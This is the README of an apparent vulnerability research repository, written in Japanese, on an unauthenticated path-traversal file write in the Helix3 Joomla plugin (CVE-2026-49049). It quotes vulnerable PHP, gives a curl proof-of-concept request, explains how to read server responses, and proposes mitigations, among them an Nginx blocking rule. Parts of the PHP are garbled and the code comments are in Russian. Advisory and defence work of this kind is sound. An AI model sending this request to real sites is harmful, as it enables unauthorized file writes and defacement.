CVE-2026-49049 脆弱性調査: JoomShaper Helix3 (Joomla) における認証なし任意ファイル書き込み

このリポジトリには、CMS Joomla 用のレガシーテンプレートフレームワーク JoomShaper Helix3（バージョン 1.0 から 3.1.0 まで）で発見された重大な脆弱性 CVE-2026-49049 に関する資料、技術分析、概念実証 (PoC) が含まれています。

この脆弱性は、自動化されたボットネット（特に AntonKill 改ざんキャンペーンの一環として）によって実際に活発に悪用されています。

🔬 脆弱性の技術的分析

問題は、Joomla のシステム AJAX ハンドラ (com_ajax) がプラグイン plg_ajax_helix3 のメソッド onAjaxHelix3() を呼び出すことにあります。コンポーネントの開発者は以下を考慮していませんでした：

1. ユーザー認証の確認（認証バイパス）
2. CSRF トークンの確認
3. layoutName パラメータ処理時のパスフィルタリング（パストラバーサル検証）

脆弱な PHP コードのロジック:

public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 概念実証 (PoC)

脆弱性の検証には、コンテンツタイプ application/x-www-form-urlencoded の POST リクエストが使用されます。このパラメータのパッケージ化方法は、脆弱性のデモンストレーションに最も効果的です。

攻撃ベクトル (cURL コマンド):

curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

送信データの詳細:

🎯 サーバー応答の分析（検証の種類）

侵入テストを実施する際、サーバーは異なるタイプの応答を返す可能性があります。それらの解釈は非常に重要です：

ケース A: 脆弱性が正常に動作（ファイル書き込み成功）

サーバー応答:

{"success":true,"message":null,"messages":null,"data":[]}

解釈: プラグインは脆弱であり、OS の制限はありません。ファイルはサイトルートに正常に作成され、https://target.com でアクセス可能です。サイトは直ちにクリーンアップと隔離が必要です。

ケース B: プラグインは脆弱だが、OS の保護が機能

サーバー応答:

{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

解釈: 部分的な成功。 Helix3 プラグインのロジックは破られており、認証なしでデータを受け入れ、ファイルを書き込み用に開こうとしました（fopen）。しかし、Linux OS がこのアクションをブロックしました。これは、ウェブサーバーユーザー（例：www-data）にサイトルートへの書き込み権限がないためです。

ケース C: システムは保護されている（更新または削除済み）

サーバー応答: ステータス 404 Not Found、403 Forbidden、または空の応答 []。 解釈: プラグインが安全なバージョン（3.1.1+）に更新されて認証チェックが追加されているか、CMS から完全に削除されています。

🛡 緩和策と脅威の除去

1. 更新 / 削除: Helix3 をバージョン 3.1.1 以上に更新してください。フレームワークが使用されていない場合は、Joomla 管理パネルからプラグイン plg_ajax_helix3 を完全に削除してください。
2. WAF レベル (Nginx) での保護: 悪意のある POST リクエストをブロックするルールを追加します:
   root@kitploit:~

   if (\(request_method = POST) { set\)test "P"; }
   if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
   if (\$test = PH) { return 403; }
   

免責事項: この資料は教育目的および正当なシステムセキュリティ監査（ペネトレーションテスト）のためにのみ提供されています。著者は提供された情報の不正使用について一切の責任を負いません。